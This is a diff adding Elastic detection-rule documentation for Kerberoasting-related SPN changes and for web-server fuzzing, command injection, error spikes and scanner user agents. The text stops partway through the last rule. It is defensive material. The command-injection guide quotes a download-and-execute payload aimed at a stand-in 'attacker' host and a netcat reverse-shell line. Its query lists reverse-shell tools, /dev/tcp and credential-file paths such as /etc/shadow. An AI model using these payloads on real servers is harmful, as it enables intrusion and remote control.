+A user account with an SPN assigned is considered a service account, and is accessible to the entire domain. If any user in the directory requests a ticket-granting service (TGS), the domain controller will encrypt it with the secret key of the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as the human-defined password is likely to be less complex.
+
+For scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that account passwords are robust and changed regularly and automatically. More information can be found https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview[here].
+
+Attackers can also perform "Targeted Kerberoasting", which consists of adding fake SPNs to user accounts that they have write privileges to, making them potentially vulnerable to Kerberoasting.
+
+
+*Possible investigation steps*
+
+
+- Identify the user account that performed the action and whether it should perform this kind of action.
+- Contact the account owner and confirm whether they are aware of this activity.
+- Investigate if the target account is a member of privileged groups (Domain Admins, Enterprise Admins, etc.).
+- Investigate if tickets have been requested for the target account.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+
+
+*False positive analysis*
+
+
+- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positive (B-TP), especially if the account is privileged. Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same security standards as computer accounts (which have long, complex, random passwords that change frequently), exposing them to credential cracking attacks (Kerberoasting, brute force, etc.).
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. Prioritize privileged accounts.
+- Isolate the involved hosts to prevent further post-compromise behavior.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+```
+
+The above policy does not cover User objects, so set up an AuditRule using https://github.com/OTRF/Set-AuditRule.
+As this specifies the servicePrincipalName Attribute GUID, it is expected to be low noise.
+
+```
+Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID f3a64788-5306-11d1-a9c5-0000f80367c1 -AuditFlags Success
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:5136 and host.os.type:"windows" and winlog.event_data.OperationType:"%%14674" and
+  winlog.event_data.ObjectClass:"user" and
+  winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal or Forge Kerberos Tickets
+** ID: T1558
+** Reference URL: https://attack.mitre.org/techniques/T1558/
+* Sub-technique:
+** Name: Kerberoasting
+** ID: T1558.003
+** Reference URL: https://attack.mitre.org/techniques/T1558/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity.asciidoc
new file mode 100644
index 0000000000..aba13650be
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity.asciidoc
@@ -0,0 +1,142 @@
+[[prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity]]
+=== Web Server Discovery or Fuzzing Activity
+
+This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Discovery or Fuzzing Activity*
+
+
+This rule flags a single origin generating a rapid burst of GET requests that produce many 404/403 responses, a hallmark of automated web discovery or fuzzing. Attackers commonly run wordlist-driven enumeration to probe paths such as /admin/, /login, /backup.zip, /.env, /.git/, and undocumented API routes, gauging which resources exist and where access controls fail. Detecting this reconnaissance early helps prevent subsequent targeted exploitation of newly found endpoints and weak authentication flows.
+
+
+*Possible investigation steps*
+
+
+- Correlate user-agent, TLS JA3/JA4, Host/SNI, and X-Forwarded-For to fingerprint the client, identify common fuzzing tools or disguised automation, and recover the true origin if traffic traversed a CDN or proxy.
+- Summarize the top requested paths and response codes for this source to spot any 2xx or 401 outcomes amid the denials, flagging hits on sensitive locations such as /.env, /.git, /admin interfaces, backups, installer scripts, and undocumented API routes.
+- Pivot to the same timeframe for adjacent web and authentication activity from this origin to see whether POSTs, credential attempts, or parameterized requests followed the enumeration, indicating progression toward exploitation or spraying.
+- Review WAF/CDN and reverse-proxy logs for blocks, challenges, or rate limiting and whether multiple virtual hosts were targeted via the Host header, confirming if and how far requests reached the application tier.
+- Validate whether the source aligns with approved internal scanners or scheduled testing via inventories and change records, and if not, enrich with ASN/geolocation, reverse DNS, and threat intel to assess reputation and recurrence across your estate.
+
+
+*False positive analysis*
+
+
+- An internal QA link checker or monitoring crawler run from a single host can request hundreds of unique paths and generate many 404/403 GETs when routes, assets, or permissions are misconfigured.
+- A shared egress IP (NAT or corporate proxy) aggregating many users during a faulty deployment can trigger high volumes of 404/403 GETs as browsers collectively hit moved or newly restricted resources.
+
+
+*Response and remediation*
+
+
+- Immediately rate-limit or block the offending source IP at the WAF/CDN and reverse proxy, applying a challenge or temporary ban to the observed User-Agent and JA3/JA4 fingerprint driving the 500+ unique-path 404/403 GET burst.
+- If traffic came through a proxy or CDN, use X-Forwarded-For to identify and block the true origin, and add a temporary ASN or geolocation block if the source aligns with known scanner networks.
+- Verify whether the source is an approved internal scanner; if not, disable the job or container, remove any scheduled tasks and API keys used, and notify the owner to stop testing against production immediately.
+- Review the requested path list to identify any 2xx or 401 hits and remediate exposures such as accessible /.env, /.git, /admin interfaces, backup archives, or installer scripts by removing files, disabling endpoints, and rotating secrets.
+- Escalate to incident response if enumeration persists after blocking, pivots to POSTs or credential attempts, originates from rotating IPs (Tor/VPN/residential), or produces 2xx on sensitive endpoints despite WAF rules.
+- Harden the web tier by enabling per-IP rate limiting and bot challenges, turning off directory listing and default app endpoints, blocking patterns like /.git/, /.env, and /backup.zip at the WAF, and restricting origin access to CDN egress only.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    http.request.method == "GET" and 
+    http.response.status_code in (404, 403)
+
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    http.request.method,
+    http.response.status_code,
+    source.ip,
+    agent.id,
+    host.name,
+    Esql.url_lower
+| stats
+    Esql.event_count = count(),
+    Esql.url_lower_count_distinct = count_distinct(Esql.url_lower),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.http_request_method_values = values(http.request.method),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip
+| where
+  Esql.event_count > 500 and Esql.url_lower_count_distinct > 250
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-command-injection-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-command-injection-request.asciidoc
new file mode 100644
index 0000000000..42f9242032
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-command-injection-request.asciidoc
@@ -0,0 +1,230 @@
+[[prebuilt-rule-8-19-11-web-server-potential-command-injection-request]]
+=== Web Server Potential Command Injection Request
+
+This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Tactic: Persistence
+* Tactic: Execution
+* Tactic: Credential Access
+* Tactic: Command and Control
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Potential Command Injection Request*
+
+
+This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
+
+
+*Possible investigation steps*
+
+
+- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
+- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
+- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
+- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
+- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
+
+
+*False positive analysis*
+
+
+- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
+- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
+
+
+*Response and remediation*
+
+
+- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
+- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
+- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
+- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
+- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
+- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    // Limit to 200 response code to reduce noise
+    http.response.status_code == 200
+
+| eval Esql.url_lower  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_lower)
+
+| eval Esql.contains_interpreter = case(Esql.url_lower like "*python* -c*" or Esql.url_lower like "*perl* -e*" or Esql.url_lower like "*ruby* -e*" or Esql.url_lower like "*ruby* -rsocket*" or Esql.url_lower like "*lua* -e*" or Esql.url_lower like "*php* -r*" or Esql.url_lower like "*node* -e*", 1, 0)
+| eval Esql.contains_shell = case(Esql.url_lower like "*/bin/bash*" or Esql.url_lower like "*bash*-c*" or Esql.url_lower like "*/bin/sh*" or Esql.url_lower rlike "*sh.{1,2}-c*", 1, 0)
+| eval Esql.contains_nc = case(Esql.url_lower like "*netcat*" or Esql.url_lower like "*ncat*" or Esql.url_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_lower like "*nc.openbsd*" or Esql.url_lower like "*nc.traditional*" or Esql.url_lower like "*socat*", 1, 0)
+| eval Esql.contains_devtcp = case(Esql.url_lower like "*/dev/tcp/*" or Esql.url_lower like "*/dev/udp/*", 1, 0)
+| eval Esql.contains_helpers = case((Esql.url_lower like "*/bin/*" or Esql.url_lower like "*/usr/bin/*") and (Esql.url_lower like "*mkfifo*" or Esql.url_lower like "*nohup*" or Esql.url_lower like "*setsid*" or Esql.url_lower like "*busybox*"), 1, 0)
+| eval Esql.contains_sus_cli = case(Esql.url_lower like "*import*pty*spawn*" or Esql.url_lower like "*import*subprocess*call*" or Esql.url_lower like "*tcpsocket.new*" or Esql.url_lower like "*tcpsocket.open*" or Esql.url_lower like "*io.popen*" or Esql.url_lower like "*os.execute*" or Esql.url_lower like "*fsockopen*", 1, 0)
+| eval Esql.contains_privileges = case(Esql.url_lower like "*chmod*+x", 1, 0)
+| eval Esql.contains_downloader = case(Esql.url_lower like "*curl *" or Esql.url_lower like "*wget *" , 1, 0)
+| eval Esql.contains_file_read_keywords = case(Esql.url_lower like "*/etc/shadow*" or Esql.url_lower like "*/etc/passwd*" or Esql.url_lower like "*/root/.ssh/*" or Esql.url_lower like "*/home/*/.ssh/*" or Esql.url_lower like "*~/.ssh/*" or Esql.url_lower like "*/proc/self/environ*", 1, 0)
+| eval Esql.contains_base64_cmd = case(Esql.url_lower like "*base64*-d*" or Esql.url_lower like "*echo*|*base64*", 1, 0)
+| eval Esql.contains_suspicious_path = case(Esql.url_lower like "*/tmp/*" or Esql.url_lower like "*/var/tmp/*" or Esql.url_lower like "*/dev/shm/*" or Esql.url_lower like "*/root/*" or Esql.url_lower like "*/home/*/*" or Esql.url_lower like "*/var/www/*" or Esql.url_lower like "*/etc/cron.*/*", 1, 0)
+
+| eval Esql.any_payload_keyword = case(
+    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
+    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
+    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
+
+| keep
+    @timestamp,
+    Esql.url_lower,
+    Esql.any_payload_keyword,
+    Esql.contains_interpreter,
+    Esql.contains_shell,
+    Esql.contains_nc,
+    Esql.contains_devtcp,
+    Esql.contains_helpers,
+    Esql.contains_sus_cli,
+    Esql.contains_privileges,
+    Esql.contains_downloader,
+    Esql.contains_file_read_keywords,
+    Esql.contains_base64_cmd,
+    Esql.contains_suspicious_path,
+    source.ip,
+    destination.ip,
+    agent.id,
+    http.request.method,
+    http.response.status_code,
+    user_agent.original,
+    host.name,
+    event.dataset
+
+| stats
+    Esql.event_count = count(),
+    Esql.url_path_count_distinct = count_distinct(Esql.url_lower),
+
+    // General fields
+
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.http.response.status_code_values = values(http.response.status_code),
+    Esql.user_agent_original_values = values(user_agent.original),
+    Esql.event_dataset_values = values(event.dataset),
+
+    // Rule Specific fields
+    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
+    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
+    Esql.contains_shell_values = values(Esql.contains_shell),
+    Esql.contains_nc_values = values(Esql.contains_nc),
+    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
+    Esql.contains_helpers_values = values(Esql.contains_helpers),
+    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
+    Esql.contains_privileges_values = values(Esql.contains_privileges),
+    Esql.contains_downloader_values = values(Esql.contains_downloader),
+    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
+    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
+    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
+
+    by source.ip, agent.id
+
+| where
+    // Filter for potential command injection attempts with low event counts to reduce false positives
+    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Server Software Component
+** ID: T1505
+** Reference URL: https://attack.mitre.org/techniques/T1505/
+* Sub-technique:
+** Name: Web Shell
+** ID: T1505.003
+** Reference URL: https://attack.mitre.org/techniques/T1505/003/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Technique:
+** Name: Application Layer Protocol
+** ID: T1071
+** Reference URL: https://attack.mitre.org/techniques/T1071/
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes.asciidoc
new file mode 100644
index 0000000000..6955923b4f
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes.asciidoc
@@ -0,0 +1,147 @@
+[[prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes]]
+=== Web Server Potential Spike in Error Response Codes
+
+This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Potential Spike in Error Response Codes*
+
+
+This rule detects bursts of 5xx errors (500–504) from GET traffic, highlighting abnormal server behavior that accompanies active scanning or fuzzing and exposes fragile code paths or misconfigured proxies. Attackers sweep common and generated endpoints while mutating query params and headers—path traversal, template syntax, large payloads—to repeatedly force backend exceptions and gateway timeouts, enumerate which routes fail, and pinpoint inputs that leak stack traces or crash components for follow-on exploitation.
+
+
+*Possible investigation steps*
+
+
+- Plot error rates per minute by server and client around the alert window to confirm the spike, determine scope, and separate a single noisy client from a platform-wide issue.
+- Aggregate the failing URL paths and query strings from the flagged client and look for enumeration sequences, traversal encoding, template injection markers, or oversized inputs indicative of fuzzing.
+- Examine User-Agent, Referer, header mix, and TLS JA3 for generic scanner signatures or reuse across multiple clients, and enrich the originating IP with reputation and hosting-provider attribution.
+- Correlate the timeframe with reverse proxy/WAF/IDS and application error logs or stack traces to identify which routes threw exceptions or timeouts and whether they align with the client’s input patterns.
+- Validate backend and dependency health (upstreams, databases, caches, deployments) to rule out infrastructure regressions, then compare whether only the suspicious client experiences disproportionate failures.
+
+
+*False positive analysis*
+
+
+- A scheduled deployment or upstream dependency issue can cause normal GET traffic to fail with 502/503/504, and many users egressing through a shared NAT or reverse proxy may be aggregated as one source IP that triggers the spike.
+- An internal health-check, load test, or site crawler running from a single host can rapidly traverse endpoints and induce 500 errors on fragile routes, mimicking scanner-like behavior without malicious intent.
+
+
+*Response and remediation*
+
+
+- Immediately rate-limit or block the originating client(s) at the edge (reverse proxy/WAF) using the observed source IPs, User-Agent/TLS fingerprints, and the failing URL patterns generating 5xx bursts.
+- Drain the origin upstream(s) showing repeated 500/502/503/504 on the probed routes, roll back the latest deployment or config change for those services, and disable any unstable endpoint or plugin that is crashing under input fuzzing.
+- Restart affected application workers and proxies, purge bad cache entries, re-enable traffic gradually with canary percentage, and confirm normal response rates via synthetic checks against the previously failing URLs.
+- Escalate to Security Operations and Incident Response if 5xx spikes persist after blocking or if error pages expose stack traces, credentials, or admin route disclosures, or if traffic originates from multiple global hosting ASNs.
+- Deploy targeted WAF rules for path traversal and injection markers seen in the URLs, enforce per-IP and per-route rate limits, tighten upstream timeouts/circuit breakers, and replace verbose error pages with generic responses that omit stack details.
+- Add bot management and IP reputation blocking at the CDN/edge, lock down unauthenticated access to admin/debug routes, and instrument alerts that trigger on sustained 5xx bursts per client and per route with automatic edge throttling.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    http.request.method == "GET" and
+    http.response.status_code in (
+      500, // Internal Server Error
+      502, // Bad Gateway
+      503, // Service Unavailable
+      504 // Gateway Timeout
+    )
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    http.request.method,
+    http.response.status_code,
+    source.ip,
+    agent.id,
+    host.name,
+    Esql.url_lower
+| stats
+    Esql.event_count = count(),
+    Esql.http_response_status_code_count = count(http.response.status_code),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.http_request_method_values = values(http.request.method),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.http_response_status_code_count > 10
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests.asciidoc
new file mode 100644
index 0000000000..6b6c6aa370
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests.asciidoc
@@ -0,0 +1,180 @@
+[[prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests]]
+=== Web Server Suspicious User Agent Requests
+
+This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Tactic: Credential Access
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Suspicious User Agent Requests*
+
+
+This rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt.
+
+
+*Possible investigation steps*
+
+
+- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk.
+- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure.
+- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies.
+- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing.
